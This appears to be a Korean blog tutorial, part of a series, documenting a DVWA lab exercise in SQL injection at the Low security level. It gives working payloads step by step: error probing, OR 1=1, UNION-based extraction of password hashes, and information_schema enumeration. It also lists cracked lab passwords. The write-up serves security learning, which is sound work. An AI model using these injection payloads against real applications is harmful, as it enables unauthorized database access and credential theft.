정보 보안/모의해킹

SQL 인젝션 실습 2편 - DVWA Low 레벨 공격

y0.0ns 2026. 7. 15. 23:47

들어가며

환경 구성이 끝났으니 본격적으로 SQL 인젝션 공격을 진행했다. Low 레벨은 입력값 검증이 전혀 없어서 가장 기본적인 공격 기법을 그대로 사용할 수 있다. 에러 확인부터 DB 전체 정보 추출까지 단계별로 진행해봤다.

환경 구성 글: SQL 인젝션 실습 1편 - DVWA 환경 구성


1. 정상 동작 확인

SQL Injection 메뉴에서 User ID 입력창에 1 입력 후 Submit.

결과:
ID: 1
First name: admin
Surname: admin

내부적으로 실행된 쿼리:
SELECT * FROM users WHERE id = '1'

정상적으로 DB에서 ID 1번 사용자를 조회해서 출력하는 것을 확인.


2. SQL 에러 확인 (인젝션 가능 여부 판단)

입력창에 1' (작은따옴표 추가) 입력 후 Submit.

에러 메시지:
You have an error in your SQL syntax...near ''1''' at line 1

해석:
'1' 을 입력했더니 내부 쿼리가:
WHERE id = ''1'''
이렇게 따옴표가 엉켜서 문법 오류 발생

→ 입력값을 그대로 SQL에 넣는다는 증거
→ SQL 인젝션 가능 확인

3. 전체 사용자 목록 추출 (OR 1=1)

입력창에 입력:

1' OR '1'='1
변조된 쿼리:
SELECT * FROM users WHERE id = '1' OR '1'='1'

'1'='1' 은 항상 참
→ WHERE 조건이 항상 참
→ DB의 모든 사용자 반환

결과:
admin / Gordon Brown / Hack Me / Pablo Picasso / Bob Smith
→ 5명 전체 계정 정보 노출

4. 비밀번호 해시 추출 (UNION 기반)

처음에 아래처럼 입력했다:

1' UNION SELECT user, password FROM users --

 
에러 메시지:
You have an error in your SQL syntax...near '--'' at line 1

이유:
MariaDB/MySQL에서 -- 주석은 뒤에 공백이 필요하다.
공백 없이 -- 만 쓰면 주석으로 인식하지 않아서 오류 발생

-- 대신 # 으로 바꿔서 다시 입력:

1' UNION SELECT user, password FROM users #

변조된 쿼리:
SELECT first_name, last_name FROM users WHERE id = '1'
UNION SELECT user, password FROM users #

→ 원래 쿼리 결과 + users 테이블의 계정명/비밀번호 같이 출력

결과:
admin   : 5f4dcc3b5aa765d61d8327deb882cf99
gordonb : e99a18c428cb38d5f260853678922e03
1337    : 8d3533d75ae2c3966d7e0d4fcc69216b
pablo   : 0d107d09f5bbe40cade3de5c71e9e9b7
smithy  : 5f4dcc3b5aa765d61d8327deb882cf99

왜 -- 대신 # 을 쓰냐면: MariaDB/MySQL에서 -- 주석은 뒤에 공백이 필요하다. # 은 공백 없이도 주석으로 인식되어 더 편리하다.

 

MD5 해시 크랙 결과:

계정 해시 실제 비밀번호
admin 5f4dcc3b5... password
gordonb e99a18c42... abc123
1337 8d3533d75... charley
pablo 0d107d09f... letmein
smithy 5f4dcc3b5... password

MD5는 이미 크랙된 해시가 대부분 공개되어 있어서 온라인 도구(crackstation.net 등)로 쉽게 복호화 가능하다.


5. DB 버전 및 이름 추출

입력창에 입력:

1' UNION SELECT version(), database() #

결과:
First name: 10.1.26-MariaDB-0+deb9u1  ← DB 버전
Surname: dvwa                           ← 현재 DB 이름

→ MariaDB 10.1.26 사용 중
→ DB 이름은 dvwa
→ 공격자는 이 정보로 해당 버전의 추가 취약점을 찾아냄

6. 테이블 목록 추출

입력창에 입력:

1' UNION SELECT table_name, NULL FROM information_schema.tables WHERE table_schema='dvwa' #
결과:
guestbook  ← 방명록 테이블
users      ← 사용자 계정 테이블

→ information_schema는 MySQL/MariaDB가 자체적으로 가지고 있는
  DB 구조 정보를 담은 시스템 테이블
→ 여기서 테이블 목록, 컬럼 목록 등을 조회 가능

NULL을 넣는 이유: UNION은 두 쿼리의 컬럼 수가 같아야 한다. 원래 쿼리가 컬럼 2개이므로 UNION SELECT도 2개가 필요한데, 두 번째 자리에 필요 없는 값은 NULL로 채운다.


7. 컬럼 목록 추출

입력창에 입력:

1' UNION SELECT column_name, NULL FROM information_schema.columns WHERE table_name='users' #
결과:
users 테이블 컬럼 목록:

user_id      ← 사용자 ID 번호
first_name   ← 이름
last_name    ← 성
user         ← 계정명
password     ← 비밀번호 (해시)
avatar       ← 프로필 이미지
last_login   ← 마지막 로그인 시간
failed_login ← 로그인 실패 횟수

8. 원하는 데이터 자유롭게 추출

컬럼 목록을 알았으니 원하는 데이터를 뽑을 수 있다.

1' UNION SELECT user, last_login FROM users #

결과:
admin   : 2026-07-14 10:42:27
gordonb : 2026-07-14 10:42:27
...

9. Low 레벨 취약한 코드 확인

오른쪽 하단 View Source 클릭하면 취약한 PHP 코드를 확인할 수 있다.

php
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
입력값 $id를 그대로 쿼리에 삽입
→ 검증 없음 → SQL 인젝션 가능

Low 레벨 실습 전체 정리

단계입력값결과
1 1 정상 조회 확인
2 1' SQL 에러 → 인젝션 가능 확인
3 1' OR '1'='1 전체 사용자 목록 추출
4 1' UNION SELECT user, password FROM users # 비밀번호 해시 추출
5 1' UNION SELECT version(), database() # DB 버전/이름 추출
6 1' UNION SELECT table_name, NULL FROM information_schema.tables WHERE table_schema='dvwa' # 테이블 목록 추출
7 1' UNION SELECT column_name, NULL FROM information_schema.columns WHERE table_name='users' # 컬럼 목록 추출
8 1' UNION SELECT user, last_login FROM users # 원하는 데이터 추출

마무리

Low 레벨에서는 입력값 검증이 전혀 없어서 기본적인 SQL 인젝션 기법이 그대로 통한다. 특히 information_schema를 활용하면 DB 구조를 통째로 파악할 수 있다는 게 가장 위험한 포인트다. 비밀번호까지 추출하고 나면 사실상 DB 전체가 공격자 손에 넘어간 것이다.

다음 글에서는 Medium 레벨로 올려서 필터링이 걸렸을 때 어떻게 우회하는지 다뤄볼 예정이다.

더 나은 방법이나 실제 운영 환경에서의 개선점이 있다면 댓글로 공유해주세요.


이 블로그의 관련 글: